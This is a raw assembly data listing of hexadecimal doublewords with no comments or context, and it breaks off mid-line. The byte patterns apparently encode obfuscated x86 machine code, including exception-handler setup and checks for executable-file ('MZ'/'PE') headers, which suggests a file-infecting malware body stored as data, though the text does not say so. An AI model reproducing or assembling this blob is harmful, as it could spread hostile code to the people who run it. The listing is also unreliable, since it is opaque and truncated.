0B8868906h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 1DABC356h, 11E90EF6h, 0D8000000h dd 94468F23h, 9C4F68CBh, 71B9A04Fh, 762CAB24h, 0B509006Ah dd 6442211h, 0B760B5FFh, 0FFF50647h, 44296D95h, 96DBB706h dd 6650DD8Ah, 96CCE4BBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0B6C35747h, 0B5FFF88Bh, 647B760h, 1AE9B589h dd 0DF810644h, 516FBC26h, 17D995FFh, 0B70F0644h, 0B5BD83DBh dd 64414h, 51840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 5DA4A2C3h, 0DE8A9FA2h dd 64EF8166h, 348950C0h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 7453DB4h, 0A19D2B2Fh dd 0FF06440Ah, 47B760B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0C3790A1Dh dd 0D1869D78h, 860FCC71h, 6, 1F799589h, 95FF0644h, 6442E7Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0EAC35141h dd 0BD035D28h, 6441A31h, 0B760B5FFh, 8D010647h, 6441F35h dd 144195FFh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0DA8BD1C3h, 0A85BD83h, 0F020644h dd 7F84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0BC1E472Fh, 94495640h, 858B1E54h dd 6441591h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 38C35646h, 8149701Ah, 0BB87C7DFh, 0C63Ah, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0DCC35040h, 21EDBCA1h dd 514EC711h, 0BAFAE381h, 0D88B2808h, 175985C7h, 644h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 51ECA2C3h, 0BFA67F8Dh, 8166E6BEh, 0E9153ECFh dd 0FFFFF28Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0B5C35040h, 0ED54F972h, 783B6D29h, 0DE9h, 5E0AD000h dd 0B738FEA0h, 49948C84h, 12E9D3CAh, 7E000000h, 0A3BC6FCDh dd 2AAAFB01h, 0C0341AF4h, 351328E0h, 6AC18B47h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 3711C351h, 6E91866h, 13000000h, 84321F7Ch, 0D3816699h dd 858D62D7h, 6441BE1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0F2C35646h, 0C913DCFAh, 41BD8B18h, 31064407h dd 4410C98Dh, 14E95006h, 1000000h, 0D128A7Fh, 0B7547B11h dd 85CA5300h, 0D56DCBB7h, 897BCFFFh, 6A2404h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 63E172C3h dd 543855BFh, 9E952h, 36E30000h, 10E141CEh, 0F67C673h dd 8166FFB7h, 6A28CFE3h, 0FAB70F00h, 10E960h, 0FAD20000h dd 67FB1CBCh, 99FA312Fh, 182C75A7h, 85895C59h, 6441575h dd 0BB006A61h, 42C2AB09h, 2B1E858Dh, 6A0649h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 89EF29C3h dd 4417B1B5h, 0A18D0106h, 83064432h, 895105C0h, 44238995h dd 8B905F06h, 0E85350DFh, 13h, 2996DBE8h, 563BD3A0h, 0B731C262h dd 8A4EBED7h, 56C8321Bh, 905B5F5Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0C4C35646h, 91EA6BC9h, 66FB8404h dd 994EC781h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 6E939C3h, 6C000000h, 0CC1A9C8Ch dd 6A006A75h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 9D89C351h, 94D8276Dh, 2595FF15h dd 89064418h, 440A9585h, 978D8D06h, 6A06479Ah, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0A344C351h, 0B1B58B60h, 89064423h, 442D718Dh, 12E96106h dd 5F000000h, 0FC189905h, 284C511Dh, 0AC6E74DFh, 67E5E77Ah dd 66D1FF69h, 6FB8CB81h, 2F11BD83h, 0F010644h, 0AB85h dd 6A80B700h, 51006A02h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 0D10C8178h, 594367DFh, 25499D89h dd 0E9900644h, 5, 0A223BDE8h, 0BF605035h, 1A47B856h, 6A9061h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 0C7ECF8C3h, 296D95FFh, 6A0644h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0A88390C3h, 6EBD750Eh dd 10E8561Bh, 0 dd 977D0F37h, 872E79BFh, 0C02062FCh, 8BD8DF1Ch, 4409359Dh dd 0DB815F06h, 6E342D6Ah, 0D42E9h, 0E800h, 815D0000h, 492B28EDh dd 94D6BF06h, 6A7605h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 39826BC3h, 0BA0A64F2h, 80DDD72Ch dd 880FB0E7h, 3, 8DF88B66h, 478B5885h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0DB09CE8Eh, 9C3D35C1h, 1834D381h, 51504AF9h, 895B47B3h dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0BFB59BC3h, 4D3B4A82h, 35FF64h, 64000000h dd 2589h, 60600000h, 2F61B58Bh, 61610644h, 8E985FFh, 9D890644h dd 6442169h, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0FFD0CEC3h, 44318DB5h, 0FE906h dd 0ADCE0000h, 7592CD73h, 3630529h, 39A1A39Ch, 8195FF17h dd 0E9064422h, 124h, 3011BD09h, 0B00644h, 0E65AC380h, 0B9C78170h dd 0E473CB7Ah, 68F0F71h, 8B000000h, 440949BDh, 0B3E38106h dd 3C3A68C8h, 0F5830F61h, 8B000000h, 441965BDh, 0C8B60F06h dd 9FDF8166h, 3D9D8B87h, 0BA064400h, 6, 222D9589h, 0C18B0644h dd 0E0F408BBh, 4E8C153h, 1A9DBD8Bh, 0F7660644h, 0FDBD33E2h dd 2B06442Bh, 10E9C8h, 84410000h, 3B545F66h, 5F021721h dd 84BD3BD0h, 7E88DD2h, 0C9000000h, 0CE18EBE9h, 9501CF33h dd 644164Dh, 60D18B5Fh, 12E9h, 45BE3C00h, 0CD93AA9Ah, 4D0908B2h dd 49C0930Fh, 9BE2F6Eh, 440CB98Dh, 6DE96106h, 2B000000h dd 44000D9Dh, 4C858B06h, 66494755h, 0C083F98Bh, 55C38107h dd 83076DE3h, 0BD8B00C0h, 6442849h, 830FD03Bh, 0Eh, 0E9DF8B66h dd 3Ch, 5D8D31h, 8D8B0644h, 0FFFFFFFFh, 0B58BF960h, 6440F81h dd 1E18361h, 1E840Fh, 9D8B0000h, 64423A9h, 0FFFFA583h dd 66FEFFFFh, 9589FE8Bh, 4947554Ch, 0E934F780h, 0 dd 0A47EB58Dh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 17B2E2C3h, 53FF1B9Dh, 0CE9h, 1028E700h dd 49278430h, 0CDABE4Bh, 0BD8B5B40h, 64433A9h, 8509006Ah dd 64424C1h, 1C4D95FFh, 830F0644h, 17h, 12E9h, 3E74AF00h dd 32CA4EFEh, 0A38BF401h, 65117C6h, 0B905ACEFh, 1022h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 99C35646h dd 1536DB1h, 0F228890Bh, 7B29BF66h, 6AFCE183h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 9C1CC353h, 22B8B18Ah, 511591DDh, 56006AFCh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0CB8166AFh dd 8529F694h, 6440C1Dh, 8D89C02Bh, 6442ECDh, 0BAh, 0AD96B700h dd 0E8D1C233h, 0E983D003h, 0E9F47504h, 14h, 0C05436B9h dd 23D22A40h, 236B1089h, 643C63B0h, 57F1A8ACh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 73C35141h, 70186DF4h dd 7F6D2527h, 91F38166h, 8509606Fh, 6441C51h, 61CAB70Fh dd 880Dh, 118D8900h, 8B06441Bh, 442F5D95h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 7163D328h, 0F8024F2Eh, 6798D8Bh, 6A0644h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 5AFE4C3h dd 0A39E46A9h, 0C28B50ABh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 6A58188Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 8D3CC350h, 0FC46E3Ch, 682h, 0B4EF8100h dd 80494BF9h, 0BD8375EFh, 6442CADh, 76840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 63CAC351h, 0B8601Eh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 0D1E6C353h, 0EDDB81D1h, 8D3FC498h, 444E558Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 1D9D898Bh, 0FF064418h, 0F1BB66E1h, 71BD83BBh, 64410h dd 377840Fh, 0BB660000h, 8B663C9Ah, 71BD83FEh, 1064410h dd 37E840Fh, 0BE80000h, 3E000000h, 857FC258h, 10B2252Ah dd 0BF66837Ah, 835FC058h, 441071BDh, 860F0306h, 326h, 0FE9h dd 680D9300h, 0ED217F1h, 4CFE4C5Fh, 2F98504Fh, 0CE960h dd 0DEEB0000h, 94B6B8E5h, 4DF8613Bh, 8C66BD88h, 0CF8166D9h dd 0E180D4D0h, 3800F04h, 66000000h, 0C90AF98Bh, 0FA840Fh dd 0BB660000h, 8B51F10Bh, 4428A59Dh, 858B5F06h, 6440AD5h dd 3BD8533h, 8B660644h, 0DF8B90FBh, 0BD899050h, 6441685h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0FC67B2C3h, 9899D89h, 4E80644h, 0FF000000h dd 50001F03h, 448BDE8Bh, 50600424h, 0BE9535Ah, 0A6000000h dd 77BE5EE0h, 664AE052h, 615EA575h, 4489008Bh, 0CFBB0424h dd 58430E4Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 4DC35747h, 6F0043C0h, 7A420349h, 2850Fh, 0F88B0000h dd 8195FFh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 5E8AA3C3h, 6E820h, 25400000h, 14ECB710h dd 79BD0152h, 5B06442Dh, 6085895Bh, 8B0647B7h, 44298DBDh dd 199E906h, 0D7810000h, 29190B11h, 0B758858Bh, 0F510647h dd 0C75FFFBFh, 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0E28507CBh, 0FE8B6650h dd 5CB58B5Fh, 290647B7h, 4406F58Dh, 0D858B06h, 6A064430h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 3784C352h, 89973563h, 442379BDh, 6A068906h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8B86C351h, 4407C5BDh, 0D5858B06h, 8B06440Ah dd 44689FBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0E2C35747h, 93166342h, 8B6650B9h, 243489F8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0F5C35646h, 458A0A8h dd 0BF6693DDh, 0B70F1C54h, 58B5FFF8h, 0F0647B7h, 78Fh dd 81665000h, 5FB7B4CFh, 3B413068h, 0E9525084h, 6, 0C98FAC99h dd 310F75BCh, 191F1DBBh, 81585A3Ch, 0C2CF2404h, 6A7BE3h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 896FCAC3h, 4420759Dh, 60858D06h, 500647B7h, 89DA8B66h dd 98BF2404h, 0FF54239Ch, 44008195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0DE9C8h, 5FD80000h dd 0EA9A0596h, 0C0419F8Ah, 51954F37h, 2C319D33h, 615B0644h dd 21058529h, 85C70644h, 6441071h, 3, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0A2C35646h, 81418C3Fh, 0D81F9FD3h dd 60BD8352h, 647B7h, 14840Fh, 0B5890000h, 6440A6Dh, 24E9h dd 99C78000h, 0A2D8501h, 30500644h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0AE96C60h dd 0D000000h, 84D6D46Ah, 6D13C0FDh, 71BD834Dh, 3064410h dd 451850Fh, 0BD090000h, 6440C71h, 0B760BD83h, 0F000647h dd 43E84h, 319D8900h, 0F806440Ah, 0B760B5FFh, 8D290647h dd 6440BDDh, 69995FFh, 0BD8B0644h, 64417CDh, 0B754B58Bh dd 81660647h, 0C7E82EEBh, 1000106h, 11E900h, 6DC30000h dd 9FDB4FFDh, 12060AA8h, 0C0F0B9F1h, 92EBBCCh, 441061BDh dd 8A575006h, 34895FFEh, 859D8B24h, 0FF064428h, 47B760B5h dd 48B0F06h, 66000000h, 0FFAFDBBFh, 441E0195h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 99C63DE7h, 0E900F1DBh, 0Dh, 1BC158Ah, 0ACAA6D5Eh, 0F5FCB0B6h dd 54B58BC4h, 0E80647B7h, 10h, 47E7BC93h, 0F457506h, 0FA03011Bh dd 0D03E0E63h, 0C99414BFh, 858B5B6Bh, 6442E71h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0E8C35040h, 0B2EC553Bh dd 9D8B70B1h, 64403D9h, 0C48689F9h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 2116C357h, 0B70A9B24h, 4B31CEE6h, 0CE8h, 48189500h dd 0BCA309E6h, 6052F717h, 850F53BBh, 0 dd 958B5F5Bh, 6442F5Dh, 68C0F60h, 29000000h, 4403E195h dd 49D98106h, 6173554Eh, 6A04C283h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 1B46C356h dd 1BD8BCEh, 0E8064408h, 7, 3FE6964Eh, 5F9509A0h, 6A205089h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0D02FC355h, 5B2FB1EBh, 5DB501CEh, 8D064416h dd 47CAA085h, 0D1958906h, 8906440Ch, 0B886h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 558855CFh, 95299C5Bh, 64428EDh, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 59D54FC3h dd 80666FB7h, 0EDB529BBh, 0B3064430h, 60B5FFC9h, 6A0647B7h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 75E4C352h, 0F517DA4Bh, 0DEBF0F51h, 6D95FF5Fh dd 8B064429h, 4417F9BDh, 0AFB35006h, 81243489h, 0A69C33CBh dd 60B5FF5Eh, 6A0647B7h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 587BC353h, 0F504ED9h dd 0FF5BF8B7h, 4417D995h, 13E906h, 31930000h, 11D53796h dd 2EACE293h, 23B5CD1Ch, 0A179989Ah, 0B5BD8337h, 64414h dd 6B840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0C783FDC3h, 0F18AB40h, 1389h, 7E800h dd 44BC0000h, 87A78BD8h, 890FAFh, 5F000000h, 8F0F5196h dd 5, 0EE2D81BFh, 60505B08h, 0B2B55250h, 890F310Fh, 0 dd 78BB585Ah, 61291A7Ch, 6870F96h, 89000000h, 44071595h dd 60B5FF06h, 890647B7h, 4431F995h, 7D95FF06h, 6A06442Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0FF74C356h, 47B760B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 55662A8Ch dd 57E6DD69h, 30758D01h, 0FF5B0644h, 44144195h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 14E9F5h, 0A77D0000h, 0A9C47159h, 835EAE7h, 580D03E2h dd 8B79822Bh, 0EBF7CF6h, 336F100Ah, 4413CD9Dh, 85BD8306h dd 206440Ah, 5D840Fh, 9D290000h, 6441EB5h, 1591858Bh, 6A0644h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 2CDB2EC3h, 0C19D3306h, 0C6064432h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 2AADCFC3h, 37BF669Dh, 81BD0913h, 0C7064414h, 44175985h dd 6, 85895700h, 6442EF1h, 0E9FA8A5Fh, 0FFFFF3DCh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D9C35141h, 0D8B70FADh dd 2C98D09h, 0C18B0644h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 66C35040h, 0EB7851D1h, 2CB32FD9h, 0EE9h dd 71FFB700h, 0CD6F04B2h, 36693C56h, 0BAC9A304h, 0F00DE000h dd 0EA81h, 0C283F000h, 9D958914h, 83064416h, 858D14EAh dd 649390Bh, 35FF6450h, 0 dd 258964h, 0E8000000h, 0 db 'X+б%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 198589C8h, 3064425h, 0B70F3C40h, 95890650h, 64421F1h dd 8950508Bh, 442A5195h, 0F80506h, 508B0000h, 89D1030Ch dd 44305995h, 8500306h, 19D59589h, 8F640644h, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 2381BD83h, 0F000644h, 2484h, 0E985C600h, 47064402h dd 9AA7D268h, 0E9B5FFD4h, 8D064417h, 4777AF85h, 6AD0FF06h dd 89D0FF00h, 441CB585h, 0E8D38B06h, 0Eh, 525EACB2h, 27121401h dd 8E289577h, 0F860A82Bh, 0BE665861h, 0C081151Eh, 64CDh dd 5652D233h, 0B44C7FBEh, 0FF5B5F33h, 0BE660234h, 8159D5F8h dd 75A5F7E9h, 81F98B27h, 1AA01EF1h, 6E82Fh, 4BD50000h dd 0A2421BFAh, 5D71EB81h, 815B6684h, 493FECC1h, 0C89F549h dd 0C6816610h, 0C381B148h, 7E0806B8h, 6604EA83h, 0FA81F38Bh dd 0FFFF9BD0h, 19850Fh, 81660000h, 0E9544ECFh, 21h, 887BA07h dd 0B18FA444h, 0C55D590Bh, 0FCFF529h, 82h, 0FF8DE900h dd 5D19FFFFh, 13C51F05h, 678D8D00h, 906493Ah, 4424DD95h dd 5D8D8906h, 6606442Fh, 0C7FFA7BBh, 44067985h, 66AC06h dd 3D958900h, 0B606442Dh, 7185C700h, 64410h, 29000000h dd 4424C195h, 8DB5FF06h, 6A064431h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0FF79C351h dd 440BF995h, 3800F06h, 80000000h, 6A08E8h, 1C4D95FFh dd 0C08B0644h, 0F756BEBh, 0B28925CBh, 0A72CEA8Ch, 4588E52Eh dd 23CF1764h, 79776B34h, 0A6275BB6h, 0E3F8E7D7h, 1ACD6BBAh dd 81A906F3h, 0A6DF0AD3h, 0F3BC1Fh, 77B368BFh, 62AA03B1h dd 174EF5CEh, 9BEB6209h, 0B23A56A3h, 261A9EDFh, 0A9AB8FBEh dd 6515CD7Ch, 28A058FCh, 2E7163D3h, 8C67024Fh, 9CEDD909h dd 0CC519D65h, 0F49A077Ah, 0D7A3AA0Ah, 7B8D8DFAh, 0F06493Bh dd 8D89F9B7h, 6442F5Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 43C35545h, 0EDCEF081h, 85C727A6h, 6440679h dd 65C4h, 81665360h, 5BFB3DF3h, 3C5958Bh, 89610644h, 441F3DB5h dd 7185C706h, 64410h, 8B000000h, 4403D99Dh, 99B5FF06h dd 0B8064410h, 58508B1Ch, 95FFF98Ah, 6440BF9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0FAC35747h, 6316F3AAh dd 8B531E8Ah, 441CB985h, 6A5A06h, 1C4D95FFh, 0C08B0644h dd 0C7B4EEBh, 5A4CFBB3h, 622DE9B3h, 0D12F8727h, 12AE5DF8h dd 36434EE9h, 0D472DE6Eh, 568C5E3Eh, 0AA52F1BDh, 2F4121Bh dd 74D2D5CEh, 64B98D33h, 0CDE04B4Bh, 1A918831h, 82D6AA2Fh dd 0EFC83EB6h, 0B80016BEh, 43FCF60Bh, 533EE39Ch, 0AA30D6E8h dd 0D9BF5420h, 0E962324Ah, 1333213h, 58F06B28h, 5177E8Dh dd 5177683h, 133321Ch, 0D4F063C1h, 21C5E5FFh, 0D5581134h dd 0E379A61h, 131A08Ch, 56335804h, 13331EAh, 0C26C1201h dd 254FBBDFh, 2577B344h, 1332E24h, 0C2647510h, 0E1E85051h dd 0C6024079h, 13DDB2Ch, 0B3FF3201h, 0F3AE9D1h, 80B93E84h dd 0BB6AD0Eh, 307A8F93h, 0E33344Ch, 1334480h, 57335802h dd 13331E9h, 0C26D1280h, 2547BB1Eh, 2577B324h, 1332F14h dd 0C2657408h, 0C50FF199h, 6D1F1B88h, 0BCB87468h, 7772C79h dd 10DA17F2h, 0F1333220h, 0D4DB9A9Dh, 3DB50CC4h, 641A27BDh dd 51E9189Ah, 13134E8h, 54335880h, 13331A8h, 0C26E1220h dd 255FBB4Dh, 2577B30Ch, 1332E00h, 0C2667702h, 43E19136h dd 0EEACCAF3h, 486B92Fh, 6735763Ch, 515559AEh, 137B807h dd 0BF553204h, 5BA44EDh, 3CC725h, 6BCD16CCh, 2DB6540h dd 21333220h, 886CF14Fh, 80371674h, 16371640h, 46333202h dd 18F3F156h, 8A552693h, 0BCB86AB1h, 7771351h, 611FF293h dd 2522A781h, 8F3C3440h, 1333204h, 297ABF8Ah, 8A5234C4h dd 67CBB948h, 6BCF7AABh, 2DB6210h, 21333208h, 886BF15Ch dd 80371646h, 16371645h, 41333280h, 51BF110h, 8055738Dh dd 0ECC0429h, 133CB8Ch, 50335804h, 13331EAh, 0C26A1201h dd 257FBBD9h, 2577B344h, 1332624h, 0C2627310h, 74AEBB9Dh dd 0E8357607h, 1333207h, 45618154h, 8F2B126h, 38B3E2CBh dd 19B63DC9h, 6B333211h, 2DB6408h, 21333204h, 886DF15Ch dd 80371675h, 1A3716C4h, 47333240h, 0EC7EF176h, 0E8FCEF98h dd 0BC10EC69h, 777311Dh, 6B327389h, 2DB6701h, 21333280h dd 886EF11Dh, 8037164Ch, 1A371654h, 44333208h, 0F120F151h dd 8CECC598h, 94BA42ACh, 7773EE5h, 159FA43h, 130DA71h dd 58133210h, 4DBA6BCBh, 45B23620h, 1293626h, 50723201h dd 59DB8743h, 0A178B97Ch, 7D2872Bh, 0BE553454h, 0C0B0191Fh dd 50335801h, 13331EAh, 0C26A1201h, 257FBBD9h, 2577B344h dd 1332E24h, 0C2627310h, 0D5CF3362h, 0B245F4D4h, 0DBB85447h dd 4AA30B80h, 843CB9C3h, 133321Fh, 8BABFA9h, 8CBE3454h dd 7777C5Dh, 0E966326Eh, 1333201h, 5CF06F21h, 5175E09h dd 51776C1h, 133323Bh, 0A8F06755h, 69C6AAEEh, 532925CDh dd 1308A59h, 893C3201h, 133328Fh, 13338A9h, 0FBBC3520h dd 59450F47h, 8AC85782h, 4500EFB9h, 28D2CD04h, 453493BCh dd 1B93D86h, 60333240h, 8CCA8D2Fh, 4808FCADh, 0B0BEBF0Eh dd 0B9357B3Ah, 0A1B176h, 2AF2B732h, 0CE1834C4h, 0D9BF5420h dd 0E962324Ah, 1333213h, 58F06B28h, 5177E8Dh, 5177683h dd 8333321Ch, 0A4F305E9h, 6AC08Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0B70B37C3h, 0CB80D181h dd 51006A1Dh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 99C95256h, 62DDCD54h, 2F599D29h, 0D38B0644h dd 0E8C38BF8h, 0Ah, 7ED3B57Dh, 0E1E1C0BBh, 8B6671B0h, 8D295FD7h dd 6442439h, 5F1BC781h, 810F0000h, 5, 0E2FD9AB8h, 6878h dd 5BF90000h, 248DBD29h, 34FF0644h, 185293Bh, 5E06440Dh dd 0F6810FB5h, 7A96B298h, 9190EE81h, 0E2800C41h, 0B3C68161h dd 8B5D155Ah, 4413B985h, 0BF0F5606h, 1F048FCEh, 19D9958Bh dd 0CB8B0644h, 101EB83h, 4402758Dh, 4B4B4B06h, 1081BD09h dd 0FB810644h, 0FFFFA184h, 0FFAC850Fh, 11E8FFFFh, 6B000000h dd 0C3F5F52Fh, 0E5F04414h, 0EF71325Ah, 0A08B8321h, 0CB18D89h dd 0DE590644h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch dd 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 33DC24DAh, 0FFB44E60h dd 0F867A5E4h, 0A0DC31DAh, 2437A3BEh, 79672074h, 0F1E1A3BAh dd 0D71B2077h, 33DC05B2h, 831D2933h, 0C0982633h, 0EFA7FFB6h dd 0D6157635h, 0AFD119F8h, 0AD0DD963h, 839E6216h, 35982664h dd 1F152359h, 4BD119E8h, 6D1DAB63h, 39E6F0Ch, 0A9C9B3CCh dd 14932077h, 6AA1A23Ch, 0B0152633h, 9CD119E8h, 4DAACE63h dd 0F6D82633h, 6C79A3BEh, 24C8207Ah, 9DA7FDB6h, 0FF677635h dd 33DC2F92h, 1794E2B0h, 4A7FDB6h, 23157635h, 55D119F8h dd 0D00DD963h, 3D9E6216h, 6A982651h, 6474AD66h, 11CE7464h dd 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch dd 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h dd 0E868AD03h, 5AAD63h, 0A9982C88h, 0D49BCF33h, 896F2633h dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9CD119FAh dd 0D66ABBEh, 9320207Ah, 78000000h, 271E7FCh, 0C8D00731h dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 64940FEh, 411D8D8Dh dd 0CF2B0649h, 8B05E983h, 0AE8C8h, 0BC6A0000h, 0D0AAD96Ch dd 1D4DD75Ch, 2BDB52Bh, 805A0644h, 0C281C3C1h, 5A7Ch, 736D81BBh dd 166BBF0Bh, 0CF800000h, 3132FF9Bh, 4423459Dh, 85895806h dd 64429D5h, 0C4D6E881h, 8D8B6A0Ah, 6441FC1h, 8279C081h dd 0CE95DA7h, 0C2000000h, 4AB7CED4h, 0C209B7A3h, 812D9A06h dd 1E8387F0h, 0CDB58B64h, 50064433h, 12E9h, 0C93F0500h dd 0AD262B8Ch, 0C9ABEF1Bh, 3D768860h, 8F6D8D1Fh, 19D8902h dd 83064409h, 816601EAh, 4A02BCC9h, 0EF814A4Ah, 1, 14850Fh dd 0DF8B0000h, 31E9h, 2AED2700h, 1CCAD85Dh, 0BB2973C9h dd 6E91495h, 0CC000000h, 3E63AA4Ah, 0FF67E9D3h, 0DB5FFFFh dd 0A2E123EAh, 0C7EF673Bh, 0EE70E98Ch, 5FD8F8A6h, 3B7B0596h dd 52656434h, 71C63434h, 0D83BF76Ch, 0D0B51070h, 45DC1070h dd 116C3434h, 0EB46F764h, 655255ABh, 51E7F4BFh, 51C5DC67h dd 0A433434h, 0D386FF7h, 15593010h, 51773010h, 2753434h dd 93FB6EF7h, 67D15503h, 0AE793BE5h, 0CCAE8B52h, 717C89B7h dd 24D83270h, 74D1B73Dh, 5130703Fh, 24B2D40h, 5235F4BFh dd 0D8C63430h, 1561C1B1h, 1E2CB932h, 0AEDE729Ch, 0D2346FE7h dd 153D1189h, 466F3432h, 52356764h, 0D8C63430h, 1561C1B1h dd 6F2CB932h, 0AEDE7291h, 58346FE7h, 151D9DB1h, 57973B32h dd 